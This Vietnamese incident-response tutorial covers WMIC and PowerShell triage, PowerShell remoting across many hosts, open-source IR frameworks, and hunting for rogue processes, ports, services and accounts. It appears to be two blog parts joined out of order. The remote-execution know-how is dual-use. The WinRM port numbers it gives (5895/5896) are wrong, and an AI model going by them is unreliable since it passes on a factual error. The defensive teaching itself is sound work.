$ echo scanning %computername% & wmic /node:"%computername%" process get name, processid, parentprocessid, threadcount, handlecount >> %computername%.txt & wmic /node:"%computername%" environment list brief >> %computername%.txt & wmic /node:"%computername%" nicconfig get MACAddress, DefaultIPGateway, IPAddress, IPSubnet, DNSHostName, DNSDomain >> %computername%.txt & wmic /node:"%computername%" service get Name, Caption, State, ServiceType, StartMode, pathname >> %computername%.txt & wmic /node:"%computername%" qfe get description, FixComments, HotFixID, InstalledBy, InstalledOn, ServicePackInEffect >> %computername%.txt

Ký tự & đại diện cho bắt đầu một lệnh mới. Cần thu thập định kỳ các thông tin này để sử dụng như là một CSDL mẫu (Thu thập theo ngày, format lại theo ngày tránh bị trùng tên: %i%date:˜-4,4%%date:˜-7,2%%date:˜-10,2%.txt). Khi sự cố xuất hiện, với cùng một lệnh chạy có thể kết quả sẽ khác biệt so với CSDL trước đó, lúc này tiến hành đối chiếu để xác định sự bất thường.

WMIC có từ Windows XP, nó đã cung cấp cho quản trị viên và những người làm Ứng phó sự cố với một công cụ mạnh mẽ. Tuy nhiên với Powershell, chúng ta sẽ còn có một công cụ mạnh mẽ hơn, trong phần tiếp theo chúng ta sẽ tìm hiểu Powershell và cả những cách thức để truy cập WMI thông qua Powershell.

2. PowerShell

Powershell đã cải thiện khái niệm về command-line interface rất nhiều. Chúng ta đã nói về Common Information Model (CIM) để mô tả các tài nguyên CNTT như là các đối tượng. Đối tượng thì sẽ có các thuộc tính và các phương thức như là các hành động của đối tượng đó. Ví dụ: Một đối tượng của lớp Process sẽ có các thuộc tính như ProcessID, ProcessName, ParentProcessID, ProcessPath và các phương thức: Create, Delete. Sức mạnh đằng thực sự đằng sau Powershell xuất phát từ thực tế là khi bạn thực hiện một yêu cầu với Powershell, kết quả bạn nhận được không chỉ đơn giản là văn bản mà còn là đối tượng. Ví dụ: Đối tượng đại diện cho tiến trình với các thuộc tính và phương thức đi kèm. Trong các Shell truyền thống, khi bạn chuyển đầu ra của một lệnh làm đầu vào của lệnh khác (PIPE) thì nó chỉ đơn giản là chuyển văn bản. Nhưng với Powershell, bạn đang chuyển các đối tượng xuống đường ống (Pipeline) đi kèm với các thuộc tính và phương thức.

Powershell sử dụng các CmdLets để nhận các lệnh từ người dùng hoặc scripts. Các CmdLets bao gồm một động từ và một danh từ và nối với nhau bằng một dấu gạch. VD: Get-Process là một CmdLet lấy thông tin về các tiến trình trên hệ thống. Động từ trong trường hợp này là Get và danh từ là Process

Một CmdLet rất mạnh mẽ và quan trọng để hỗ trợ bạn trong quá trình sử dụng Powershell là Get-Help. Ví dụ: Get-Help Get-Process -Examples sẽ cung cấp các ví dụ mẫu về các sử dụng cũng như cú pháp của Get-Process CmdLet:

$ Get-Help Get-Process -Detailed

Ngoài việc cung cấp một công cụ dòng lệnh là powershell.exe thì nó cũng cung cấp một công cụ gọi là PowerShell ISE (powershell_ise.exe) cung cấp một môi trường để tạo và kiểm tra các tập lệnh Powershell, tương tác với hệ thống cục bộ hoặc từ xa. Lợi thế khi sử dụng Powershell ISE là tính năng IntelliSense (nhắc code).

PowerShell ISE IntelliSense feature at work as the user types

Một CmdLet cũng sẽ có các tham số, nó được chỉ định bằng một dấu gạch ngang đằng trước. VD: Get-Help Get-Process -ShowWindow sẽ bật lên một cửa sổ hiển thị trợ giúp cho Get-Process.

Ngoài Get-Help thì Powershell cũng có một CmdLet hỗ trợ khác là Get-Command dùng trong trường hợp bạn không muốn nhớ tên các CmdLets, nó sẽ hiện kết quả gợi ý. Ví dụ:

$ Get-Command *process*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Get-AppvVirtualProcess                             1.0.0.0    AppvClient
Function        Start-AppvVirtualProcess                           1.0.0.0    AppvClient
Cmdlet          ConvertTo-ProcessMitigationPolicy                  1.0.12     ProcessMitigations
Cmdlet          Debug-Process                                      3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Enter-PSHostProcess                                3.0.0.0    Microsoft.PowerShell.Core
Application     qprocess.exe                                       10.0.19... C:\Windows\system32\qprocess.exe
...

2.1. Powershell và các CmdLet cơ bản

Thực hiện truy vấn với các CmdLet có thể sẽ trả về nhiều kết quả, ở đây có thể là các đối tượng đi cùng với các thuộc tính và phương thức. Sử dụng CmdLet Get-Member để xem thông tin về một CmdLet khác bao gồm các: Thuộc tính, Phương thức, Alias,.v.v.. Ví dụ muốn xem mô tả về CmdLets Get-Process:

$ Get-Process | Get-Member

   TypeName: System.Diagnostics.Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
Name                       AliasProperty  Name = ProcessName
Disposed                   Event          System.EventHandler Disposed(System.Object, System.EventArgs)
Kill                       Method         void Kill()
Start                      Method         bool Start()
__NounName                 NoteProperty   string __NounName=Process
BasePriority               Property       int BasePriority {get;}
Container                  Property       System.ComponentModel.IContainer Container {get;}
EnableRaisingEvents        Property       bool EnableRaisingEvents {get;set;}
Company                    ScriptProperty System.Object Company {get=$this.Mainmodule.FileVersionInfo.CompanyName;}
CPU                        ScriptProperty System.Object CPU {get=$this.TotalProcessorTime.TotalSeconds;}
...

Sử dụng Cmdlet Select-Object với tham số -Property để hiển thị bất kỳ thuộc tính nào chúng ta chọn, giống như get với WMIC. Ví dụ:

Get-Process | Select-Object -Property ProcessName, ID, StartTime

ProcessName                        Id StartTime
-----------                        -- ---------
ApplicationFrameHost             2176 18/12/2021 8:23:09 AM
audiodg                          8084 20/12/2021 9:16:49 AM
backgroundTaskHost               8476 20/12/2021 10:51:19 AM
Calculator                      11344 18/12/2021 8:25:16 AM
chrome                            664 20/12/2021 9:35:11 AM
...

Một CmdLet có thể có nhiều Alias khác với cú pháp ngắn hơn. Ví dụ với CmdLet Get-ChildItem có alias là dir (cmd.exe), ls (*nix shell) gci (viết tắt cho Get-ChildItem). Nên sử dụng cú pháp đầy đủ và rõ ràng, tránh sử dụng các alias gây khó hiểu mặc dù nó có ưu điểm là ngắn gọn.

$ Get-ChildItem
$ ls
$ dir
$ gci

$ Get-Process | Select-Object -Property ProcessName, ID, StartTime
$ gps | select name, ID, starttime

Ngoài việc sử dụng CmdLet Select-Object để chọn các thuộc tính, chúng ta cũng có thể sử dụng Cmdlet Where-Object để chọn các thuộc tính, với Where-Object hỗ trợ chúng ta cú pháp giống như truy vấn WQL của WMIC. Ví dụ:

$ Get-Process -Name "powers*"
$ Get-Process | Where-Object -Property name -Like power*

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    500      26    63336      73664       0.58  11152   1 powershell
    906      53   166044     185112      62.95  11788   1 powershell

Lưu ý: WMIC sử dụng % làm ký tự đại diện còn Powershell sử dụng * cho cùng mục đích. Các phép so sánh trong Powershell được bắt đầu bằng -, ví dụ: -eq, -ne, -like. Có thể sử dụng một số CmdLets để sắp xếp kết quả với Sort-Object, nhóm các kết quả với Group-Object, đếm hoặc đo lường kết quả với Measure-Object. Tương tự như WMIC, Powershell cũng cung cấp nhiều CmdLet để định dạng dữ liệu như dạng bảng, danh sách, hay nhiều dạng khác: Format-Table, Format-List, Out-GridView, Export-Csv.

$ Get-Process | Format-Table -Property ProcessName, Id

ProcessName                        Id
-----------                        --
ApplicationFrameHost             2176
audiodg                         14168
Calculator                      11344
chrome                            664
...

Bảng dưới đây liệt kê một số các CmdLets hữu ích và hay dùng thực hiện Remote Triage.

Danh sách trên chỉ là một phần nhỏ trong số rất nhiều các CmdLets của Powershell, mục đích để chúng ta dễ dàng tiếp cận.

2.2. Quản trị từ xa với Powershell

Một tính năng mạnh mẽ khác của Powershell đó là Remoting. Powershell đôi khi được mô tả như là C#, nó cung cấp giao diện dòng lệnh có quyền truy cập vào các lớp .NET và WMI. Với Powershell Remoting, bạn có thể tương tác, sửa đổi các hệ thống từ xa một cách an toàn, người thực hiện ứng phó sự cố có thể tận dụng Powershell để đơn giản hóa công việc cũng như sử dụng trong quá trình phòng thủ hệ thống. Do những đặc tính của Powershell, nó còn được các attacker lợi dụng để sử dụng công cụ này để tấn công hệ thống, đặc biệt trong các pha Lateral Movement và Post-Exploitation.

Powershell là một chủ đề rộng và bài này không thể trình bày hết được, tôi khuyến khích người đọc chủ động tìm hiểu thêm về Powershell, công nghệ này rất mạnh mẽ được cho là tương lai của Windows, kể từ Powershell Core 6, nó không còn chỉ là chạy trên Windows mà đã xuất hiện ở cả Linux và macOS.

Powershell Remoting tận dụng WinRM, điều này cung cấp một cơ chế dựa trên SOAP để tương tác với các hệ thống từ xa thông qua kết nối HTTP. Mặc định, WinRM hoạt động thông qua cổng TCP 5895, với HTTPS nó hoạt động thông qua cổng TCP 5896. Trong môi trường Domain thì cổng 5895 được sử dụng là tiêu chuẩn cho WinRM và Powershell Remoting khi trao đổi Kerberos có thể xác thực cả 2 bên. Sử dụng HTTPS thông qua cổng 5896 với các hệ thống không được liên kết với Domain và yêu cầu phải có chứng chỉ SSL/TLS để xác định danh tính.

Powershell Remoting sử dụng mã hóa AES-256 để giao tiếp cho dù bạn sử dụng HTTP hay HTTPS. Tham khảo: https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity

Có 2 tùy chọn chính để sử dụng Powershell Remoting là sử dụng các CmdLets:

• Enter-PSSession: Kết nối từ xa kiểu 1-1 tương tự như SSH

• Invoke-Command: Kết nối từ xa kiểu 1-n, cho phép các lệnh được chạy trên nhiều hệ thống song song

Các CmdLets này đều hỗ trợ tham số -ComputerName để chỉ định hệ thống từ xa muốn kết nối, nhưng có một số khác biệt:

• Enter-PSSession: Chỉ chấp nhận tên của một máy tính ở một thời điểm

• Invoke-Command: Chấp nhận nhiều tên máy tính ở một thời điểm

Trong cả hai trường hợp, ComputerName phải ở dạng NetBIOS hoặc Domain Name. Kể từ khi Powershell sử dụng xác thực dựa trên Kerberos theo mặc định thì nó không còn sử dụng trực tiếp các địa chỉ IP nữa. Các địa chỉ IP được dùng riêng cho trường hợp các máy đó ko phải là một phần của Active Directory.

Ví dụ sử dụng CmdLet Enter-PSSession để khởi tạo một phiên kết nối đến máy có tên DC1. Tham số -Credential sẽ bật lên một hộp thoại nhập mật khẩu cho người dùng, để thoát khỏi phiên sử dụng lệnh exit:

$ Enter-PSSession -ComputerName DC1 -Credential administrator@company.demo

Ví dụ sử dụng CmdLet Invoke-Command để khởi tạo nhiều phiên kết nối đồng thời, sử dụng trong trường hợp cần quét cùng lúc một lượng lớn các máy chủ trong hệ thống.

$ Invoke-Command -ComputerName dc1, dc2, dc3, dc4 -ScriptBlock {Get-Process | Where-Object -Property name -eq chrome}

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName   PSComputerName
-------  ------    -----      -----     ------     --  -- -----------   --------------
    405      20   114040     165372     105.72   1232   1 chrome        dc1
    276      17    28112      65400       9.64   2656   1 chrome        dc2
    274      17    21996      48112       0.58   7176   1 chrome        dc3
    288      22    53204      94308       2.28   7304   1 chrome        dc4

Tham số ComputerName chỉ ra tên các máy chủ sẽ kết nối đến và tham số ScriptBlock là lệnh sẽ thực thi trên các máy đích từ xa, lệnh này sẽ liệt kê các tiến trình và lọc kết quả có tên “chrome”.

Cũng lưu ý là với Invoke-Command, nó thực hiện khởi tạo phiên kết nối và thực thi lệnh trong ScriptBlock, lấy kết quả và phiên kết nối bị hủy ngay sau đó. Ngoài ra có một tham số cần chú ý là ThrottleLimit chỉ định số kết nối đồng thời, theo mặc định giá trị này là 32.

2.3. Truy cập vào các lớp WMI/MI/CIM với Powershell

Ở các phần trước đã giới thiệu về Windows Management Instrumentation (WMI), Windows Management Infrastructure (MI) và Common Information Model (CIM). MI được Microsoft gọi là thế hệ tiếp theo của WMI, nó tương thích ngược với WMI và nó phù hợp hơn với tiêu chuẩn CIM hiện đại.

Powershell có một CmdLet để tương tác với WMI đó là Get-WmiObject, nó tương tự như công cụ dòng lệnh WMIC, nó cũng giao tiếp thông qua RPC/DCOM. CmdLet này cũng đã hỗ trợ tham số ComputerName, tuy nhiên nó không giống với các CmdLet của Powershell Remoting: Các CmdLet của nó như Enter-PSSession, Invoke-Command đều giao tiếp thông qua WinRM.

Một CmdLet mới hơn đó là Get-CimInstance dùng để truy cập vào các lớp WMI/MI. CmdLet này tận dụng được các tùy chọn tìm kiếm và định dạng mà Powershell hỗ trợ. Ví dụ sau sử dụng Get-CimInstance truy cập vào lớp WMI thông qua định danh cũ vấn thường sử dụng với WMIC trước đó:

$ Get-CimInstance -ClassName Win32_Process

Điểm khác biệt khi sử dụng Powershell truy cập vào các lớp này so với việc sử dụng WMIC đó là kết quả trả về là các đối tượng, chúng có những phương thức và thuộc tính, trường hợp này đối tượng của lớp System.Diagnostics.Process

$ Get-Process | Get-Member

TypeName: System.Diagnostics.Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
Name                       AliasProperty  Name = ProcessName
..
Disposed                   Event          System.EventHandler Disposed(System.Object, System.EventArgs)
ErrorDataReceived          Event          System.Diagnostics.DataReceivedEventHandler ErrorDataReceived(System.Object, System.D...
..
BeginErrorReadLine         Method         void BeginErrorReadLine()
BeginOutputReadLine        Method         void BeginOutputReadLine()
..
BasePriority               Property       int BasePriority {get;}
Container                  Property       System.ComponentModel.IContainer Container {get;}
..
PSConfiguration            PropertySet    PSConfiguration {Name, Id, PriorityClass, FileVersion}
PSResources                PropertySet    PSResources {Name, Id, Handlecount, WorkingSet, NonPagedMemorySize, PagedMemorySize, ...
..

$ Get-CimInstance -ClassName Win32_Process | Get-Member

TypeName: Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
ProcessName                AliasProperty  ProcessName = Name
..
Clone                      Method         System.Object ICloneable.Clone()
Dispose                    Method         void Dispose(), void IDisposable.Dispose()
..
Caption                    Property       string Caption {get;}
CommandLine                Property       string CommandLine {get;}
..
Path                       ScriptProperty System.Object Path {get=$this.ExecutablePath;}

Sử dụng kết hợp với các CmdLets lọc dữ liệu khác của Powershell như: Where-Object, Select-Object, Format-Table, Format-List,.v.v..

$ Get-CimInstance -ClassName Win32_Process | Format-Table -Property Name, ProcessId, ParentProcessId, CommandLine

Name                                ProcessId ParentProcessId CommandLine
----                                --------- --------------- -----------
System Idle Process                         0               0
System                                      4               0
Registry                                  124               4
smss.exe                                  484               4
csrss.exe                                 656             644
wininit.exe                               748             644
csrss.exe                                 756             740
services.exe                              820             748
lsass.exe                                 840             748 C:\Windows\system32\lsass.exe
winlogon.exe                              916             740 winlogon.exe
svchost.exe                               496             820 C:\Windows\system32\svchost.exe -k DcomLaunch -p
fontdrvhost.exe                           584             748 "fontdrvhost.exe"
fontdrvhost.exe                           596             916 "fontdrvhost.exe"
svchost.exe                               868             820 C:\Windows\system32\svchost.exe -k RPCSS -p
svchost.exe                              1044             820 C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
dwm.exe                                  1112             916 "dwm.exe"
...

Như vậy, Powershell cung cấp một công cụ linh hoạt, mềm dẻo, có tính mở rộng cao, hỗ trợ thực thi từ xa một cách an toàn, bảo mật. Ở các bài sau sẽ nói về cách mà Powershell hỗ trợ truy vấn các EventLog của Windows.

3. Một số Incident Response Framework

Các framework được thiết kế để tự động hóa và nâng cao hiệu quả của quá trình Incident Response:

• KANSA - A Powershell incident response framework

  • Nhiều modules thu thập thông tin từ xa: ASEP, Configuration, Disk, IOC, Log, Memory, Net, và Process.

  • Dễ dàng tùy biến, chỉnh sửa mã nguồn để phù hợp với yêu cầu

  • Hoạt động tốt nhất trên Powershell 3.0 hoặc mới hơn

  • Kết hợp với công cụ khác để tăng hiệu quả. VD: Autorunsc ⇒ Thực chất là nó copy tệp thực thi lên các hệ thống từ xa sau đó thực thi và lấy kết quả về.

  • Hỗ trợ phân tích, so sánh, tương quan các kết quả sau đó tìm ra sự khác biệt ⇒ VD: Một phòng ban có 20 máy, do đặc thù chung bộ phận nên các máy cài đặt phần mềm giống nhau ⇒ Kh thực hiện truy vấn các máy tính nếu máy nào xuất hiện tiến trình lạ không xác định ⇒ dễ dàng biết được nó khác với các máy còn lại.

  • Tham khảo: https://github.com/davehull/Kansa

• TheHive - A Scalable, Open Source and Free Security Incident Response Platform

  • Được mô tả là 4 trong 1

  • Tích hợp với MISP

  • Hoạt động với Elasticsearch để lưu trữ và trực quan hóa dữ liệu

  • Tham khảo: https://github.com/TheHive-Project/TheHive

• GRR Rapid Response: remote live forensics for incident response

  • Phát triển bởi một nhóm tại Google, viết bằng Python

  • Hoạt động theo mô hình Client-Server. Phía Server sẽ tương tác với các hệ thống được cài đặt Agent

  • Thực hiện phân tích bộ nhớ từ xa, tích hợp YARA rules, tìm kiếm tệp tin, truy vấn hệ thống

  • Tham khảo: https://github.com/google/grr

• Velociraptor - Endpoint visibility and collection tool

  • Tác giả là một trong những người đóng góp chính cho dự án GRR Rapid Response và Rekall

  • Được thiết kế giảm đi sự “cồng kềnh” so với GRR nhưng vẫn phải mạnh mẽ trong ứng phó sự cố

  • Công cụ này viết bằng Golang

  • Tham khảo: https://github.com/Velocidex/velociraptor

• Restrea2r - Collecting & Hunting for IOCs with gusto and style

  • Tương tác với AV Console

  • Xử lý và thu thập các artifacts từ xa: memory dump, prefetch, browser history, .v.v..

  • Tích hợp YARA rules để quét các tệp hoặc memory

  • Kết hợp với các công cụ khác trong bộ Sysinternal suite để tăng hiệu quả.

  • Tham khảo: https://github.com/rastrea2r/rastrea2r

• Fenrir - Simple Bash IOC Scanner

  • Quét hệ thống với các IOCs đã biết

  • Nó tương tự như THOR và LOKI

  • Hỗ trợ Linux, macOS

  • Tham khảo: https://github.com/Neo23x0/Fenrir

• Kolide Fleet/FleetDM - open-source Osquery Fleet Manager

  • Truy vấn thông tin hệ thống dựa trên OSQuery

  • Tương tự như việc truy vấn WMI/MI và còn nhiều hơn thế nữa.

  • Hiện tại dự án Kolide Fleet đã ngưng hỗ trợ. Một tùy chọn thay thế khác là: https://github.com/fleetdm/fleet

• OSSEC - Host Intrusion Detection System

  • Hệ thống phát hiện xâm nhập dựa trên host

  • Cảnh báo tại các endpoint, giám sát toàn vẹn tệp tin, được sử dụng bởi Alientvault

  • OSSEC có cộng đồng sử dụng khá lớn.

  • Tham khảo: https://www.ossec.net/

• Wazuh - The Open Source Security Platform

  • Một giải pháp giám sát điểm cuối mới, đang dần phổ biến gần đây

  • Agent của nó được fork ra từ OSSEC và phát triển thêm các tính năng khác

  • Giải pháp này tuy miễn phí nguồn mở nhưng lại hỗ trợ khá nhiều tính năng và có thể kết hợp với nhiều hệ thống

  • Tham khảo: https://wazuh.com/

Hệ thống CNTT của mỗi tổ chức là không giống nhau, tùy thuộc vào điều kiện, chiến lược và nhu cầu của tổ chức mà quyết định những giải pháp nguồn mở hay thương mại nào được sử dụng. Với bất kỳ sản phẩm bảo mật nào trước khi triển khai cũng cần được đánh giá, thử nghiệm kỹ lưỡng.

4. Kết luận

Đối với người làm Incident Response, chỉ phân tích trên một hệ thống quy mô nhỏ là chưa đủ, bạn cần phải có những kỹ năng phân tích, đánh giá, xử lý trên một lượng lớn nhiều máy tính. Các công cụ như WMIC và Powershell sẽ giúp bạn trả lời những câu hỏi trong quá trình ứng phó sự cố ngay cả khi không có những công cụ/giải pháp ứng phó sự cố. Với giải pháp miễn phí nguồn mở như Kansa là đủ để giúp bạn tự động hóa các bước ứng phó sự cố trên hàng ngàn máy tính. Ngoài ra các giải pháp Agent-base rất có lợi thế khi cần xử lý một lượng lớn máy tính.

5. Tham khảo

• Steve Anson (2020). Applied Incident Response, John Wiley & Sons, Inc

Nhiều nhà cung cấp bán sản phẩm để giúp thực hiện quy trình này hiệu quả hơn và giảm thiểu các tác động đến môi trường mạng trong quá trình Triage như các giải pháp EDR, XDR, Endpoint,.. Ưu điểm là giúp chúng ta nhanh chóng xác định được phạm vi sự cố cũng như hỗ trợ rất nhiều trong quá trình IR, nhược điểm là các sản phẩm này thường đắt tiền và không phải lúc nào cũng có sẵn trong môi trường xảy ra sự cố. Tệ hơn là khi sự cố đã xảy ra rồi, nếu chúng ta mới bắt đầu cài đặt các giải pháp như vậy có thể dẫn đến những hậu quả như: trì hoãn quá trình ứng phó sự cố, ghi đè dữ liệu lên chứng cứ số, gây ra các cảnh báo hoặc "đánh động" tin tặc đang trong hệ thống.

1. Tìm kiếm những thành phần độc hại

Trong một số trường hợp, dữ liệu về IOCs xác định được trong quá trình ứng phó sự cố ban đầu hoặc trong quá trình phân tích sau đó có thể được sử dụng để xác định phạm vi của sự cố bảo mật. Sự tồn tại của một tiến trình lạ hay xuất hiện Registry key khả nghi, giá trị băm của một tệp thực thi,.v.v. đều có thể được dùng làm IOCs để rà quét hệ thống của tổ chức nhằm nhanh chóng xác định các hệ thống bị ảnh hưởng.

1.1. Các kết nối độc hại

Trong hầu hết các cuộc tấn công, tin tặc sẽ tạo ra các kết nối mạng, có thể là kết nối tuồn dữ liệu đánh cắp được ra ngoài, các kết nối điều khiển với C2 Server hoặc các kết nối giữa các hệ thống nội bộ của nạn nhân vì những “chuyển động” này cho thấy tin tặc đang tiến thành dò quét, do thám các hệ thống.

Để hoạt động của mình trở nên khó phát hiện hơn, tin tặc sẽ không thực hiện kết nối liên tục về C2 Server, thay vào đó các kết nối sẽ được thực hiện định kỳ. Một số công cụ miễn phí dùng trong giám sát giúp xác định các kết nối độc hại và thống kê về các kết nối mạng:

• Security Onion: https://securityonionsolutions.com/

• Real Intelligence Threat Analytics (RITA): https://github.com/activecm/rita

Trong một hệ thống CNTT, các kết nối phổ biến nhất có thể là HTTP, HTTPS và DNS. Do vậy tin tặc thường sử dụng các giao thức này cho các lưu lượng của mình nhằm tránh bị phát hiện dễ dàng. RITA là một công cụ phân tích lưu lượng mạng dựa trên CSDL của Zeek, nó sẽ phân tích tần suất xuất hiện của một kết nối, kích thước gói tin, lượng gửi/nhận dữ liệu, thời gian và nhiều yếu tố khác để xác định đâu là lưu lượng độc hại. Quá trình ứng phó sự cố có thể gặp khó với các hệ thống sử dụng lưu lượng HTTPS, các DNS Logs hay Proxy Logs có thể sẽ hữu dụng trong trường hợp này. Khi phân tích một hệ thống bị thỏa hiệp có thể sẽ sử dụng một Web Proxy tương tác như: BurpSuite, Zed Attack Proxy (ZAP).

Ngoài ra các dạng kết nối khác cũng phổ biến trong mạng cũng cần được xem xét kỹ lưỡng, bất kỳ tài khoản nào khởi tạo các kết nối không rõ ràng đều phải được kiểm tra chi tiết hơn để xác định xem hành động có hợp pháp hay không.

Common lateral movement connection ports

1.2. Các tiến trình bất thường

Đối với kẻ tấn công để có thể thực thi mã (rce) được trên hệ thống nạn nhân thì mã đó phải tồn tại trong ngữ cảnh của một tiến trình. Một tiến trình có thể được coi là một container chứa code và các tài nguyên hệ thống mà nó phụ thuộc.

💡 Một tiến trình có thể được coi là một `container` chứa code và các tài nguyên hệ thống mà nó phụ thuộc, tiến trình được cấp phát vùng nhớ chuyên dụng, có handle cho các tài nguyên (file, registry,..). Mỗi tiến trình được gán một ID duy nhất và được tham chiếu đến một tiến trình khác đã tạo ra nó (tiến trình cha). Cuối cùng, một tiến trình sẽ có ít nhất một luồng thực thi có khả năng thực hiện các lệnh trên CPU

Vì mã của kẻ tấn công phải tồn tại trong một tiến trình trên hệ thống ⇒ Nhiều quản trị viên ngay lập tức sẽ kiểm tra bằng cách sử dụng các lệnh như ps hoặc tasklist để lấy danh sách các tiến trình trên hệ thống, tuy nhiên không phải lúc nào cũng may mắn mà phát hiện ngay được tiến trình nào là độc hại vì các tiến trình độc hại có thể được đặt tên giống với các tiến trình chuẩn. Do đó, để phát hiện được tiến trình độc hại, trước tiên quản trị viên cần phải có ý tưởng về những tiến trình chạy trên hệ thống như: hồ sơ về lịch sử các tiến trình trên hệ thống ở thời điểm máy "sạch". Hãy nhớ rằng, hành động phát hiện ra sự cố thường liên quan đến việc nhận thấy độ lệch so với bình thường. Để nhận ra được sự sai lệch này thì trước tiên bạn phải biết được khi bình thường thì trông nó như thế nào.

💡 Trên HĐH Windows, khi kiểm tra các tiến trình ở bất kỳ thời điểm nào cũng sẽ thấy xuất hiện rất nhiều tiến trình có tên là `svchost.exe`. Đây là một tiến trình đặc biệt trên Windows, được thiết kế để chạy các dịch vụ dưới dạng DLL, khi một dịch vụ được khởi chạy, tiến trình `svchost` sẽ nạp DLL đó vào vùng nhớ của mình và thực thi. Vì trên HĐH Windows có nhiều dịch vụ được chạy nên dẫn đến việc có rất nhiều tiến trình `svchost.exe` xuất hiện.

Những kẻ tấn công cũng có thể đặt tên của tiến trình độc hại giống với tiến trình chuẩn là svchost.exe, khi đó kết quả trả về của tasklist hay ps sẽ làm cho quản trị viên khó có thể xác định đâu mới là tiến trình độc hại ⇒ Để phát hiện các tiến trình độc hại dạng này, cần phải xác định vị trí của tiến trình được thực thi, tiến trình độc hại có thể đặt tên trùng với tiến trình chuẩn nhưng không thể đặt tại ví trí trùng với tiến trình chuẩn. Một ví dụ sau sẽ cung cấp chi tiết các tiến trình của hệ thống kèm commandline sẽ xác định được vị trí của tiến trình:

$ wmic process where name="svchost.exe" get name, processid, parentprocessid, commandline
CommandLine                                                                                     Name         ParentProcessId  ProcessId
C:\Windows\system32\svchost.exe -k DcomLaunch -p                                                svchost.exe  868              1008
C:\Windows\system32\svchost.exe -k RPCSS -p                                                     svchost.exe  868              924
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM                                         svchost.exe  868              1088
**C:\Users\John\Downloads\svchost.exe                                                             svchost.exe  6096             4204**
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC                                         svchost.exe  868              1224
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts                  svchost.exe  868              1264
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService                svchost.exe  868              1304
...

💡 Trên HĐH Windows, tên tệp tin và tên thư mục không phân biệt hoa thường, điều này ngược lại với các hệ thống Linux/UNIX vì chúng phân biệt hoa thường.

Khi hệ thống hoạt động ở trạng thái được cho là bình thường, quản trị viên cần theo dõi, lưu lại các bản chụp danh sách các tiến trình trên hệ thống "sạch", đây sẽ là dữ liệu cùng quan trọng khi có sự cố xảy ra. Trong quá trình ứng phó sự cố, người thực hiện xử lý sự cố khi kiểm tra các tiến trình phải dựa vào nhiều đặc điểm, chi tiết khác nhau để xác định tính hợp pháp của tiến trình:

• Thông tin về đường dẫn của tiến trình có bất thường không

• Thông tin tin về các tiến trình cha-con có bất thường không

• Thời gian tiến trình được khởi chạy có bất thường không

• Các thư viện mà tiến trình nạp vào có bất thường không

• Chữ ký số của tệp, thông tin chủ sở hữu, nhà sản xuất phần mềm,..

• Xác định các kỹ thuật nâng cao: DLL Injection, Process Hollowing, Code Caving,..

• ...

💡 Trên HĐH **Windows**, không thể xóa một tệp thực thi khi mà nó đang được chạy, ngược lại trên các hệ thống **`*nix`** khi một tiến trình đang chạy vẫn có thể xóa tệp thực thi của chúng, khi đó chúng vẫn tồn tại trên bộ nhớ RAM.

1.3. Các cổng bất thường

Tương tự như kiểm tra Process, với các Port đang được mở để lắng nghe các kết nối trên hệ thống cũng cần được theo dõi, lập hồ sơ, lưu lại bản chụp tại thời điểm hệ thống được cho là "sạch".

# Windows
$ netstat -anob

# Linux
$ netstat -anp

Sử dụng một công cụ như Nmap (https://nmap.org/) để quét mạng từ bên ngoài sau đó xác định các Port đang mở cũng là một cách hay trong trường hợp đã kiểm tra trên hệ thống nhưng không thể xác định được port nghi ngờ đang mở, rất có thể hệ thống đã bị lây nhiễm và đã bị ẩn đi bởi Rootkits. Ngoài ra có thể phân tích dữ liệu mạng bằng các công cụ như NetFlow/IPFIX hoặc Zeek logs để xác định các cổng bất thường.

1.4. Các dịch vụ bất thường

Các dịch vụ trên hệ thống là những chương trình đặc biệt, chúng không tương tác trực tiếp với người dùng. Các dịch vụ có cơ chế tự động khởi chạy khi hệ thống được bật, vì vậy tin tặc luôn muốn lợi dụng cơ chế này để duy trì được cơ chế persistent trên hệ thống. Tương tự như Process và Port, cũng cần duy trì một hồ sơ các dịch vụ chạy ở trạng thái máy "sạch”.

💡 Rogue Accounts

Xác định các tài khoản không thuộc về hệ thống hoặc đang được sử dụng không đúng mục đích, bất hợp pháp so với hành vi cùa người dùng hợp pháp là bước quan trọng trong ứng phó sự cố. Hệ thống cần được phân tích để xác định các tài khoản mới tạo ở cả Local và Domain, các tài khoản đã tạo trước đó nhưng chưa được kích hoạt (VD: Nhân viên đã nghỉ việc), các nhóm người dùng có đặc quyền cao (VD: Các nhóm quản trị viên).

💡 Nguyên tắc đặc quyền tối thiểu. Các tài khoản chỉ nên được cấp đặc quyền tối thiểu, đủ để thực hiện công việc của họ. Những tài khoản được cấp đặc quyền chỉ nên được sử dụng từ máy trạm được bảo mật tốt, những máy trạm này không được dùng chung hay sử dụng đa mục đích. VD: Không nên vừa để duyệt web, vừa dùng email, hay các hoạt động rủi do cao khác,.v.v..

Tham khảo:

• Just Enough Administration - https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview

• Protected Users Security Group - https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group

Xác định các tài khoản đáng ngờ có những hoạt động bất thường, ví dụ: tài khoản được sử dụng để cố gắng thử đăng nhập ở nhiều máy khác nhau. Công cụ LogonTracer của JPCERTCC giúp chúng ta hình dung được các hoạt động đăng nhập của người dùng:

• LogonTracer - https://github.com/JPCERTCC/LogonTracer

